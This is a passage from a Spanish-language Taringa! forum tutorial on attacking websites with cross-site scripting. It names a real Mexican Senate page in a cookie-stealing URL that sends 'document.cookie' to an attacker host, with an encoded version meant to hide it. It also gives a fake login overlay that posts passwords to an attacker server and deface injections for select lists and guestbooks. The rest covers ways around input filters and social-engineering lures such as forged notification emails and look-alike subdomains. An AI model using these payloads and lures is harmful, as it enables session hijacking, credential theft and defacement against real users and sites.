podemos formar la siguiente URL maligna:
http://www.pan.senado.gob.mx /resultados.php?tx ttex to=<script>window.loc
ation=http://atacante.com/robo.php?cookie=+document.cookie;</script>
Si enviamos esta URL a una vctima que tenga una cuenta en la pgina, y
logramos que de clic en el enlace, cuando entre a la pgina el cdigo
ser incrustado en la pgina y posteriormente ejecutado. Causando que
la pgina redireccione al navegador al programa del atacante enviando
el valor de su cookie.
Se puede codificar la URL para que se vea menos obvia, y quedar del
siguiente modo:
http%3A//www.pan.senado.gob.mx /resultados.php%3Ftx ttex to%3D%3Cscript%3E
window.location%3D%u201 9http%3A//atacante.com/robo.php%3Fcookie%3D%u201
9+document.cookie%3B%3C/script%3E
Puedes encontrar un codificar de URL en la siguiente pgina:
http://www.neosecurityteam.net/encode/
Esto fue el ataque de robo de credencial. Yo creo que es el ataque ms
explotado en cuestin de ataques XSS, donde el principal objetivo del
ataque es el usuario de una pgina. Los administradores pueden
identificar esta ataque porque tienen ms conocimientos sobre esto,
pero los usuarios normales son totalmente vulnerables a estos ataques.
An as hay administradores que bueno, ni hablar xD. Nunca descartes
la posibilidad de sacarle ventaja a este ataque. Y si realizas el
ataque por un mtodo parecido al de las postales, haciendo inyeccin en
pginas estticas, el ataque ser mucho ms difcil de identificar
porque el script maligno no se ve en la URL

Ataque phishing:
Este ataque es uno muy divertido. El phishing es crear un clon de una
pgina, y hacerle creer a una vctima que navega en la pgina original
cuando en realidad est navegando en la pgina falsa. Una vez que el
usuario se encuentre en esa pgina, se le pide informacin de su
cuenta, como nombres de usuario y contraseas; toda esta informacin es
almacenada para que despus el atacante recolecte la informacin.
El ataque trabaja bsicamente de la siguiente forma:
el atacante encuentra un bug de XSS en una pgina (sea esttica o no-esttica)
e inyecta cdigo que redirecciones el navegador hacia otra pgina,
exactamente igual a la original. Luego el atacante logra de alguna
manera que la vctima vea la pgina con la inyeccin, y al momento que
su navegador sea redireccionado la vctima pensar que se encuentra
navegando en la pgina original de forma segura.
La inyeccin se puede lograr de varias maneras. Una forma es
redireccionar el navegador con la funcin window.location hacia otro
sitio:
<script>window.location=http://sitio-falso.com/;</script>
Otro mtodo sera crear una capa de un tamao grande, de modo que cubra
el contenido original de la pgina:
<div id=lay er1 sty le="position:absolute; top:0; left:0; width:1 000; height:900; zindex :
1 ; background-color:#000000;"><center><h1 >LOGIN PAGE</h1 ><BR><form
action=http://serv idor-atacante.com/login.php method=post>Contrasea:<input
ty pe=password><input ty pe=submit></form><center></div >
La etiqueta div crea una capa que cubre toda la pgina, y esta capa

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

11/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

contiene el contenido falso que pide la contrasea del usuario y lo

enva hacia nuestro servidor.
La forma de hacer que la vctima vea la pgina falsa puede variar
mucho, tambin se puede llamar a una pgina por medio de un frame
gigante.
Para hacer el clon de la pgina no se requiere mucho esfuerzo, basta
con copiar todo el cdigo fuente de la pgina original y modificarlo un
poco para que se vean todas las imgenes, y por supuesto, para que
todos los datos que enva la pgina sean enviados al servidor del
atacante en vez del servidor original. Luego en el servidor de la
pgina el atacante posee un programa que almacena todos los datos
recibidos.
El XSS es solo una de las varias maneras que hay para hacer phishing,
debido a su variedad y extensin no hablar a fondo de el ataque, pero
puedes encontrar una gran cantidad de informacin en Internet.

Ataque tipo deface

Y como habamos dicho antes, el XSS no se puede utilizar para daar un
servidor, pero eso no significa que no podamos hacer un deface. Si una
pgina esttica es vulnerable a XSS, significa que tambin es
vulnerable para un deface. Este tipo de deface es muy fcil, y muchas
personas lo consideran algo lammer, pero lo explicar de todas formas.
El primero objetivo es identificar un rea donde poder hacer inyeccin,
y despus inyectar cdigo que mueva el navegador hacia otra pgina, o
inyectar un div que cubra el contenido de toda la pgina. Sencillo no?
Veamos el siguiente ejemplo:
Tenemos un sitio web que en la pginaprincipal, tiene una lista select que contiene todas las secciones de la
web. El cdigo fuente es algo as:
<select>
<option>Home</option>
<option>Gallery</option>
<option>Links</option>
<option>Contact</option>
</select>
Supongamos que por medio de exploracin de directorios, encontraste una
pgina que utiliza el administrador para aadir nuevas secciones a la
web. Dicha aplicacin contiene un campo de texto donde el administrador
ingresa el nombre de la nueva seccin. Entonces tu creas una nueva
seccin con el nombre pricka, envas el formulario y cuando vemos el
cdigo de la pgina principal observamos esto:
<select>
<option>Home</option>
<option>Gallery</option>
<option>Links</option>
<option>Contact</option>
<option>pricka</option>
</select>
As que la aplicacin incluy los datos que nosotros ingresamos en el
cdigo fuente de la pgina, esto significa que podemos hacer inyeccin.
Teniendo acceso a la seccin de agregar secciones a la pgina, no
podemos hacer casi nada, a menos de que queramos defacear y realicemos
la siguiente inyeccin:
wawa</option></select><script>window.location=http://web.com/hacked.htm</script>
De modo que cuando inyectamos el cdigo, el cdigo de la pgina
principal queda as:
<select>
<option>Home</option>
<option>Gallery </option>
<option>Links</option>
<option>Contact</option>
<option> wawa</option></select>
<script>window.location=http://web.com/hacked.htm</script>

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

12/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

</select>
As cerramos la lista select, e inyectamos el cdigo que redirecciona
el navegador hacia otra ubicacin.
Otro ejemplo es el deface por medio de inyeccin en los guestbooks. Al
firmar un guestbook, normalmente ingresas los siguientes datos: Nombre,
correo, pgina, comentario. Y cuando se graban en el guestbook, el
cdigo queda as:
(los datos en color azul son los datos que el usuario ingres)
<b>Name: nombre</b><br>
<a href=mailto:correo@mail.com>Mail</a><br>
<a href=http://pagina.com>Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
Si el guestbook no aplica un sistema de filtrado por caracteres como
< y > podemos realizar inyeccin en la pgina. Que tal si en el
campo correo ingresamos lo siguiente:
><script>/** deface **/ </script>
<b>Name: nombre</b><br>
<a href=mailto: ><script>/** deface **/ </script>>Mail</a><br>
<a href=http://pagina.com>Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
De esta manera rompemos la etiqueta <a href e insertamos nuestro
cdigo del deface. Tambin podramos realizar lo mismo con el campo
pgina.
As que para realizar este tipo de inyecciones, necesitamos estudiar el
cdigo fuente y darnos cuenta de que sucede con los datos que nosotros
ingresamos. De este modo conoceremos los lugares en donde podemos
inyectar cdigo, y la forma en la que se debe de hacer.
Las aplicaciones mas profesionales tienen filtros, que validan todos
los datos que ingres el usuario para evitar inyecciones. Pero ah
entran los ataques contra la validacin de entrada, que es buscar todos
los medios por los que podemos inyectar cdigo (explicado
anteriormente), o tratar de saltarnos los filtros; lo que vamos a ver a
continuacin.

Salto de filtros
Como ya expliqu antes, las aplicaciones suelen tener filtros que
procesan los datos ingresados por el usuario y los validan para remover
las posibles inyecciones de cdigo. Ahora estudiar unos cuantos
mtodos bsicos que se utilizan para tratar de saltar estos filtros. Y
de nuevo, la forma en la que nos podemos saltar un filtro depende
totalmente de la aplicacin, de cmo est hecha y de cmo funciona. Por
eso debemos estudiar los filtros y saber exactamente como trabajan.

Hay diferentes tipos de filtros.

Primero tenemos el filtro programado en javascript. Cuando el usuario
enva la informacin, el script recibe los datos y los valida, despus
de que son filtrados y validados son enviados a alguna aplicacin que
recibe los datos y hace lo que tenga que hacer con ellos.
Este es seguramente el filtro ms fcil de burlar, ya que se puede
evitar de diferentes formas. La forma ms sencilla sera ver el cdigo
fuente de la pgina y modificarlo, de modo que la informacin nunca
pase por los filtros, despus el atacante graba este nuevo cdigo en su
mquina y enva la informacin desde ah, sin necesidad de usar la
pgina original. No olviden que para eso tambin tenemos que modificar
otras cosas del cdigo como las opciones del formulario que indican a
donde se enva la informacin. Lo inseguro de este filtro es que
cualquier usuario puede ver como trabaja si observa el cdigo fuente.
El segundo tipo de filtro es en el que hay dos aplicaciones php.
El primer php pide los datos al usuario, y cuando este los enva el php
los filtra y valida, y luego los enva al segundo php. El segundo php
simplemente hace lo que tenga que hacer con la informacin.

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

13/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

El filtro no se puede remover de la aplicacin, porque no tenemos

acceso al cdigo php de la pgina. Pero si interceptamos las cabeceras
del navegador, podemos observar como despus de que enviamos los datos
a la pgina, se realiza otra peticin que enva la informacin ya
filtrada al segundo php. As podemos modificar los datos que ya vienen
filtrados, para cambiarlos por el cdigo con la inyeccin. La pgina
que recibe los datos supone que la informacin que recibi ya viene
validada, as que ya no los vuelve a validar. Este salto de filtros se
debe a un error muy comn que cometen los programadores ya que de
nuevo, no toman en cuenta las diferentes vas en las que se puede
realizar la inyeccin.
Luego viene el otro tipo de filtro.
En el que se cuenta de nuevo con dos phps, el primero pide los datos al usuario y los enva hacia el segundo php.
El segundo php valida los datos y luego el mismo hace lo
que tenga que hacer con ellos. De esta forma ya no podemos manipular
los datos, porque si interceptamos las cabeceras cuando se enva la
informacin no servir de nada, ya que los campos todava no se
validan. Seguramente la forma ms fcil y antigua (y por lo tanto casi
no efectiva), es codificar los caracteres por valores URL y
hexadecimales, y as tratar de que la aplicacin no los tome en cuenta
pero que luego sean interpretados como cdigo.
Estudiando el cdigo fuente de una aplicacin se pueden encontrar
formas de saltar los filtros de inyeccin. Tambin tomen en cuenta que
no siempre todos los campos son filtrados.
El saltar filtros es un tema extenso, yo slo les expliqu lo
fundamental, despus con la investigacin y experiencia aprendern
diversas formas de burlarnos los filtros y poder realizar inyeccin. Y
sto no solo se va a aplicar en el XSS, sino tambin en otro tipo de
inyecciones como la inyeccin SQL

Disminuyendo la sospecha
Los ataques de XSS en pginas no estticas son un poco riesgosos, ya
que se puede identificar el ataque fcilmente desde la URL de la
pgina. Sin embargo, no debemos de descartar estos ataques por esta
desventaja. Recuerden que el XSS es considerado un ataque de bajo
riesgo por esa misma razn, pero la gente no tiene idea de lo que se
puede hacer si se explota de forma correcta.
En estos ataques debemos de hacer que la victima entre a la pgina por
medio del enlace que nosotros les damos.
Sin duda la codificacin de caracteres en la URL, es un mtodo que
oculta casi completamente el ataque para los usuarios normales, ya que
ellos no tienen un conocimiento amplio y no podran identificar algo
anormal en la URL. Un usuario normal se acostumbra a ver cosas raras en
la URL de las pginas (parmetros), y por naturalidad los ignora. Ahora
solo basta con aplicar un poco de ingeniera social para enviar el
correo a la vctima.
Para aplicar el ataque a algn administrador seguramente se tendrn que
usar tcnicas ms avanzadas. Un ataque muy efectivo que he hecho, es el
enviar un correo a la vctima con respecto a su sitio web, que haga que
la vctima de clic en algn enlace. Y el enlace est hecho de la
siguiente manera:
<a href=http://pagina.com/?v ariable=codigo-roba-cookies >
http://pagina.com/mensajes/moderar.php</a>
As la vctima no ve la direccin del enlace en el correo, solo ve un
link que contiene una direccin, y dejndose llevar por la apariencia
dar clic en el enlace sin sospecha alguna.
Lo que suelo hacer para realizar este tipo de ataques, es investigar
alguna aplicacin o servicio emplead en la pgina, que suele enviar
correos al administrador para informarle de cosas. Un ejemplo muy claro
son los blogs, que notificar al administrador que se han enviado nuevos
comentarios que hay que moderar. Una vez que tengo identificados los
servicios que envan correos, mando un correo falso que contiene el
enlace, hacindome pasar por dicho servicio.
En la mayora de los ataques credencial-theft o de phishing, el

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

14/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

navegador de la vctima es redireccionado hacia otra pgina. La vctima

se puede dar cuenta de que no est en la pgina original, o de que algo
raro est sucediendo si observa algunos detalles, como la direccin de
la URL. Un buen truco para disfrazar la URL es crear subdominios largos
y parecidos a los de la pgina original. S yo soy dueo del dominio
icenetx.net puedo crear un subdominio login-passport-netcurmbox0008993d4.
icenetx.net, y poner la pgina maligna en una carpeta
larga y de nombre confuso como credential-passport/0009234900dd34900emailbox-888/passport.php, para que la URL parezca normal a simple
vista.
En los ataque de robo de cookies, se debe de hacer que la pgina que
robe la cookie redireccione al usuario a la pgina original despus de
obtener la informacin para que todo se vea ms normal. Lo mismo con
los de phishing, la pgina que roba la informacin debera de logear al
usuario en la pgina original despus de robar los datos. De otra
manera el ataque va a ser muy muy sospechoso.
El xito de este ataque depende altamente de la ingeniera social
aplicada por el atacante. Pero la ingeniera social es de los ataques
ms poderosos que hay
, tomar provecho de la estupidez de las
personas. Podemos recordar que Kevin Mitnick poda hacer cosas
grandiosas usando solo ingeniera social.

=============
Conclusin: |
=============
Con esto concluyo este (creo extenso xD) manual de XSS, quise hacer el
manual lo ms completo posible en cuanto a fundamentos. Y trat de
explicar todo con mucha claridad.
Quiero agradecer al grupo ICEnetX, por apoyo y ayuda con el tutorial.
A Megabyte por la informacin de tipos de ataques y salto de filtros.
A Paisterist por ayudarme con ciertas dudas.
Y a vos por leer el tutorial.
Eso es todo, y nos vemos a la prxima y espero q les sirva..
La informacion que se brinda en este tutorial es solo para aprendisaje y conocimiento
No me hago responsable del uso que le den a este ...
esto me llevo mucho tiempo xD no se olviden que

Comentar es agradecer

Tags
Hackear
XSS

hack

cracking

bug

tutorial

m sn

Vulnerabilidades

defacear

Cookie

defacing

cross site scripting

Compartir

Dar puntos

197 Puntos

+10

Votos: 24 - T! score: 8.5 / 10

Seguir

91

A favoritos

21.150

Favoritos

Visitas

3
Seguidores

INFO

INFO

VIDEOS ON-LINE

El libro del hacker

negro, hack & crack

Battlefield Heroes
Hack+tutorial en
espaol 2011 :D

Hack Master 2013 By Como hackear

TuX
cualquier MAC en tan
solo 5 pasos

MAC

33 comentarios
@hookdump hace 4 aos

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

15/20